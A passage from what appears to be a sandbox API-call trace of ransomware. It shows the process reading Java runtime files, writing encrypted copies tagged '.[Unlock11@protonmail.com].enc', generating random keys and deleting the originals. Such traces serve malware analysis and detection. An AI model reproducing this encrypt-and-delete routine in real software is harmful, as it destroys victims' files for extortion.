0x35c5ed8 [0126.284] GetLastError () returned 0x0 [0126.284] GetLastError () returned 0x0 [0126.284] GetLastError () returned 0x0 [0126.284] GetLastError () returned 0x0 [0126.284] GetCurrentThreadId () returned 0x9b0 [0126.285] GetLastError () returned 0x0 [0126.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.285] GetCurrentThreadId () returned 0x9b0 [0126.285] GetLastError () returned 0x0 [0126.285] GetLastError () returned 0x0 [0126.285] GetLastError () returned 0x0 [0126.285] GetLastError () returned 0x0 [0126.285] GetCurrentThreadId () returned 0x9b0 [0126.285] GetLastError () returned 0x0 [0126.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265358 [0126.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0126.286] GetLastError () returned 0x0 [0126.286] GetLastError () returned 0x0 [0126.286] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.286] GetFileType (hFile=0x39c) returned 0x1 [0126.286] GetCurrentThreadId () returned 0x9b0 [0126.287] GetFileType (hFile=0x39c) returned 0x1 [0126.287] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.287] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.287] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.287] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.287] GetCurrentThreadId () returned 0x9b0 [0126.287] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.288] GetFileType (hFile=0x3ac) returned 0x1 [0126.288] GetCurrentThreadId () returned 0x9b0 [0126.288] GetFileType (hFile=0x3ac) returned 0x1 [0126.288] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.288] GetCurrentThreadId () returned 0x9b0 [0126.289] GetCurrentThreadId () returned 0x9b0 [0126.289] GetCurrentThreadId () returned 0x9b0 [0126.291] GetCurrentThreadId () returned 0x9b0 [0126.291] GetCurrentThreadId () returned 0x9b0 [0126.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0126.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.292] GetCurrentThreadId () returned 0x9b0 [0126.294] GetCurrentThreadId () returned 0x9b0 [0126.294] GetCurrentThreadId () returned 0x9b0 [0126.294] GetCurrentThreadId () returned 0x9b0 [0126.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.295] GetCurrentThreadId () returned 0x9b0 [0126.296] GetCurrentThreadId () returned 0x9b0 [0126.296] GetCurrentThreadId () returned 0x9b0 [0126.298] GetCurrentThreadId () returned 0x9b0 [0126.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.298] GetCurrentThreadId () returned 0x9b0 [0126.299] GetCurrentThreadId () returned 0x9b0 [0126.299] GetCurrentThreadId () returned 0x9b0 [0126.300] GetCurrentThreadId () returned 0x9b0 [0126.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.300] GetCurrentThreadId () returned 0x9b0 [0126.301] GetCurrentThreadId () returned 0x9b0 [0126.302] GetCurrentThreadId () returned 0x9b0 [0126.303] GetCurrentThreadId () returned 0x9b0 [0126.303] GetCurrentThreadId () returned 0x9b0 [0126.305] GetCurrentThreadId () returned 0x9b0 [0126.305] GetCurrentThreadId () returned 0x9b0 [0126.306] GetCurrentThreadId () returned 0x9b0 [0126.306] GetCurrentThreadId () returned 0x9b0 [0126.307] GetCurrentThreadId () returned 0x9b0 [0126.307] GetCurrentThreadId () returned 0x9b0 [0126.307] GetCurrentThreadId () returned 0x9b0 [0126.308] GetCurrentThreadId () returned 0x9b0 [0126.309] GetCurrentThreadId () returned 0x9b0 [0126.309] GetCurrentThreadId () returned 0x9b0 [0126.310] GetCurrentThreadId () returned 0x9b0 [0126.311] GetCurrentThreadId () returned 0x9b0 [0126.311] GetCurrentThreadId () returned 0x9b0 [0126.312] GetCurrentThreadId () returned 0x9b0 [0126.312] GetCurrentThreadId () returned 0x9b0 [0126.312] GetCurrentThreadId () returned 0x9b0 [0126.314] GetCurrentThreadId () returned 0x9b0 [0126.314] GetCurrentThreadId () returned 0x9b0 [0126.315] GetCurrentThreadId () returned 0x9b0 [0126.315] GetCurrentThreadId () returned 0x9b0 [0126.316] GetCurrentThreadId () returned 0x9b0 [0126.316] GetCurrentThreadId () returned 0x9b0 [0126.316] GetCurrentThreadId () returned 0x9b0 [0126.317] GetCurrentThreadId () returned 0x9b0 [0126.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.318] GetCurrentThreadId () returned 0x9b0 [0126.319] GetCurrentThreadId () returned 0x9b0 [0126.321] GetCurrentThreadId () returned 0x9b0 [0126.321] GetCurrentThreadId () returned 0x9b0 [0126.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.322] GetCurrentThreadId () returned 0x9b0 [0126.322] GetCurrentThreadId () returned 0x9b0 [0126.322] GetCurrentThreadId () returned 0x9b0 [0126.324] GetCurrentThreadId () returned 0x9b0 [0126.324] GetCurrentThreadId () returned 0x9b0 [0126.325] GetCurrentThreadId () returned 0x9b0 [0126.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265428 [0126.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0126.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.326] GetCurrentThreadId () returned 0x9b0 [0126.326] GetCurrentThreadId () returned 0x9b0 [0126.327] GetCurrentThreadId () returned 0x9b0 [0126.327] GetCurrentThreadId () returned 0x9b0 [0126.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.327] GetCurrentThreadId () returned 0x9b0 [0126.328] GetCurrentThreadId () returned 0x9b0 [0126.330] GetCurrentThreadId () returned 0x9b0 [0126.330] GetCurrentThreadId () returned 0x9b0 [0126.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.330] GetCurrentThreadId () returned 0x9b0 [0126.331] GetCurrentThreadId () returned 0x9b0 [0126.339] GetCurrentThreadId () returned 0x9b0 [0126.339] GetCurrentThreadId () returned 0x9b0 [0126.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.340] GetCurrentThreadId () returned 0x9b0 [0126.344] GetCurrentThreadId () returned 0x9b0 [0126.344] GetCurrentThreadId () returned 0x9b0 [0126.345] GetCurrentThreadId () returned 0x9b0 [0126.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.345] GetCurrentThreadId () returned 0x9b0 [0126.346] GetCurrentThreadId () returned 0x9b0 [0126.347] GetCurrentThreadId () returned 0x9b0 [0126.347] GetCurrentThreadId () returned 0x9b0 [0126.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.347] GetCurrentThreadId () returned 0x9b0 [0126.348] GetCurrentThreadId () returned 0x9b0 [0126.348] GetCurrentThreadId () returned 0x9b0 [0126.350] GetCurrentThreadId () returned 0x9b0 [0126.350] GetCurrentThreadId () returned 0x9b0 [0126.351] GetCurrentThreadId () returned 0x9b0 [0126.351] GetCurrentThreadId () returned 0x9b0 [0126.351] GetCurrentThreadId () returned 0x9b0 [0126.352] GetCurrentThreadId () returned 0x9b0 [0126.353] GetCurrentThreadId () returned 0x9b0 [0126.354] GetCurrentThreadId () returned 0x9b0 [0126.354] GetCurrentThreadId () returned 0x9b0 [0126.355] GetCurrentThreadId () returned 0x9b0 [0126.356] GetCurrentThreadId () returned 0x9b0 [0126.356] GetCurrentThreadId () returned 0x9b0 [0126.356] GetCurrentThreadId () returned 0x9b0 [0126.356] GetCurrentThreadId () returned 0x9b0 [0126.357] GetCurrentThreadId () returned 0x9b0 [0126.358] GetCurrentThreadId () returned 0x9b0 [0126.359] GetCurrentThreadId () returned 0x9b0 [0126.359] GetCurrentThreadId () returned 0x9b0 [0126.360] GetCurrentThreadId () returned 0x9b0 [0126.360] GetCurrentThreadId () returned 0x9b0 [0126.361] GetCurrentThreadId () returned 0x9b0 [0126.361] GetCurrentThreadId () returned 0x9b0 [0126.363] GetCurrentThreadId () returned 0x9b0 [0126.363] GetCurrentThreadId () returned 0x9b0 [0126.364] GetCurrentThreadId () returned 0x9b0 [0126.364] GetCurrentThreadId () returned 0x9b0 [0126.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.365] GetCurrentThreadId () returned 0x9b0 [0126.366] GetCurrentThreadId () returned 0x9b0 [0126.366] GetCurrentThreadId () returned 0x9b0 [0126.367] GetCurrentThreadId () returned 0x9b0 [0126.367] GetCurrentThreadId () returned 0x9b0 [0126.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.368] GetCurrentThreadId () returned 0x9b0 [0126.368] GetCurrentThreadId () returned 0x9b0 [0126.369] GetCurrentThreadId () returned 0x9b0 [0126.370] GetCurrentThreadId () returned 0x9b0 [0126.370] GetCurrentThreadId () returned 0x9b0 [0126.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0126.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0126.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.370] GetCurrentThreadId () returned 0x9b0 [0126.372] GetCurrentThreadId () returned 0x9b0 [0126.372] GetCurrentThreadId () returned 0x9b0 [0126.372] GetCurrentThreadId () returned 0x9b0 [0126.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652e8 [0126.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0126.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x58a8) returned 0x37c5040 [0126.373] GetCurrentThreadId () returned 0x9b0 [0126.373] GetCurrentThreadId () returned 0x9b0 [0126.373] GetCurrentThreadId () returned 0x9b0 [0126.373] CloseHandle (hObject=0x3ac) returned 1 [0126.382] GetCurrentThreadId () returned 0x9b0 [0126.382] CloseHandle (hObject=0x39c) returned 1 [0126.382] GetCurrentThreadId () returned 0x9b0 [0126.382] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 1 [0126.390] GetLastError () returned 0x0 [0126.390] GetCurrentThreadId () returned 0x9b0 [0126.390] GetLastError () returned 0x0 [0126.390] GetCurrentThreadId () returned 0x9b0 [0126.390] GetLastError () returned 0x0 [0126.390] GetLastError () returned 0x0 [0126.390] GetLastError () returned 0x0 [0126.390] GetLastError () returned 0x0 [0126.390] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", lpFilePart=0x9bada4*="psfont.properties.ja") returned 0x3b [0126.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0126.391] GetCurrentThreadId () returned 0x9b0 [0126.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0126.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0126.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0126.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.391] GetLastError () returned 0x0 [0126.391] GetLastError () returned 0x0 [0126.391] GetLastError () returned 0x0 [0126.391] GetLastError () returned 0x0 [0126.391] GetCurrentThreadId () returned 0x9b0 [0126.392] GetLastError () returned 0x0 [0126.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.392] GetCurrentThreadId () returned 0x9b0 [0126.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.392] GetLastError () returned 0x0 [0126.392] GetLastError () returned 0x0 [0126.392] GetLastError () returned 0x0 [0126.392] GetLastError () returned 0x0 [0126.392] GetCurrentThreadId () returned 0x9b0 [0126.392] GetLastError () returned 0x0 [0126.392] GetLastError () returned 0x0 [0126.393] GetLastError () returned 0x0 [0126.393] GetLastError () returned 0x0 [0126.393] GetLastError () returned 0x0 [0126.393] GetCurrentThreadId () returned 0x9b0 [0126.393] GetLastError () returned 0x0 [0126.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.393] GetLastError () returned 0x0 [0126.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0126.393] GetLastError () returned 0x0 [0126.393] GetLastError () returned 0x0 [0126.394] GetLastError () returned 0x0 [0126.394] GetCurrentThreadId () returned 0x9b0 [0126.394] GetLastError () returned 0x0 [0126.394] GetCurrentThreadId () returned 0x9b0 [0126.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a928 [0126.394] GetLastError () returned 0x0 [0126.394] GetLastError () returned 0x0 [0126.394] GetLastError () returned 0x0 [0126.394] GetLastError () returned 0x0 [0126.394] GetCurrentThreadId () returned 0x9b0 [0126.394] GetLastError () returned 0x0 [0126.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0126.395] GetLastError () returned 0x0 [0126.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0126.395] GetLastError () returned 0x0 [0126.395] GetLastError () returned 0x0 [0126.395] GetLastError () returned 0x0 [0126.395] GetCurrentThreadId () returned 0x9b0 [0126.395] GetLastError () returned 0x0 [0126.395] GetLastError () returned 0x0 [0126.395] GetLastError () returned 0x0 [0126.395] GetLastError () returned 0x0 [0126.395] GetLastError () returned 0x0 [0126.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.396] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec)) returned 1 [0126.396] GetLastError () returned 0x0 [0126.396] GetCurrentThreadId () returned 0x9b0 [0126.396] GetLastError () returned 0x0 [0126.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0126.396] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cdc | out: pbBuffer=0x3662cdc) returned 1 [0126.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0126.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0126.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0126.397] GetCurrentThreadId () returned 0x9b0 [0126.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.397] GetLastError () returned 0x0 [0126.397] GetLastError () returned 0x0 [0126.397] GetLastError () returned 0x0 [0126.397] GetLastError () returned 0x0 [0126.397] GetCurrentThreadId () returned 0x9b0 [0126.397] GetLastError () returned 0x0 [0126.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.397] GetCurrentThreadId () returned 0x9b0 [0126.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.398] GetLastError () returned 0x0 [0126.398] GetLastError () returned 0x0 [0126.398] GetLastError () returned 0x0 [0126.398] GetLastError () returned 0x0 [0126.398] GetCurrentThreadId () returned 0x9b0 [0126.398] GetLastError () returned 0x0 [0126.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652f8 [0126.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4bb8 | out: hHeap=0x2ad0000) returned 1 [0126.398] GetLastError () returned 0x0 [0126.399] GetLastError () returned 0x0 [0126.399] GetLastError () returned 0x0 [0126.399] GetLastError () returned 0x0 [0126.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0126.399] GetLastError () returned 0x0 [0126.399] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.399] GetFileType (hFile=0x39c) returned 0x1 [0126.400] GetLastError () returned 0x0 [0126.400] GetCurrentThreadId () returned 0x9b0 [0126.400] GetLastError () returned 0x0 [0126.400] GetFileType (hFile=0x39c) returned 0x1 [0126.400] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.400] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.400] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.400] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.400] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.401] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.401] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.401] GetLastError () returned 0x0 [0126.401] GetCurrentThreadId () returned 0x9b0 [0126.401] GetLastError () returned 0x0 [0126.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0126.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0126.401] GetCurrentThreadId () returned 0x9b0 [0126.401] GetLastError () returned 0x0 [0126.401] GetLastError () returned 0x0 [0126.401] GetLastError () returned 0x0 [0126.401] GetLastError () returned 0x0 [0126.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265428 [0126.402] GetLastError () returned 0x0 [0126.402] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.402] GetFileType (hFile=0x3ac) returned 0x1 [0126.402] GetLastError () returned 0x0 [0126.402] GetCurrentThreadId () returned 0x9b0 [0126.403] GetLastError () returned 0x0 [0126.403] GetFileType (hFile=0x3ac) returned 0x1 [0126.403] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.403] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.403] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.403] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.403] GetLastError () returned 0x0 [0126.403] GetCurrentThreadId () returned 0x9b0 [0126.403] GetLastError () returned 0x0 [0126.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0126.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0126.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0126.404] GetLastError () returned 0x0 [0126.404] GetLastError () returned 0x0 [0126.404] GetCurrentThreadId () returned 0x9b0 [0126.404] GetLastError () returned 0x0 [0126.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.404] GetLastError () returned 0x0 [0126.404] GetLastError () returned 0x0 [0126.405] GetCurrentThreadId () returned 0x9b0 [0126.405] GetLastError () returned 0x0 [0126.405] GetLastError () returned 0x0 [0126.409] GetLastError () returned 0x0 [0126.409] GetCurrentThreadId () returned 0x9b0 [0126.409] GetLastError () returned 0x0 [0126.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb08) returned 0x382cb08 [0126.410] GetLastError () returned 0x0 [0126.410] GetLastError () returned 0x0 [0126.410] GetLastError () returned 0x0 [0126.410] GetLastError () returned 0x0 [0126.410] GetCurrentThreadId () returned 0x9b0 [0126.410] GetLastError () returned 0x0 [0126.410] GetCurrentThreadId () returned 0x9b0 [0126.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb05) returned 0x381b008 [0126.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0126.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0126.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.411] GetLastError () returned 0x0 [0126.411] GetLastError () returned 0x0 [0126.411] GetCurrentThreadId () returned 0x9b0 [0126.411] GetLastError () returned 0x0 [0126.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: 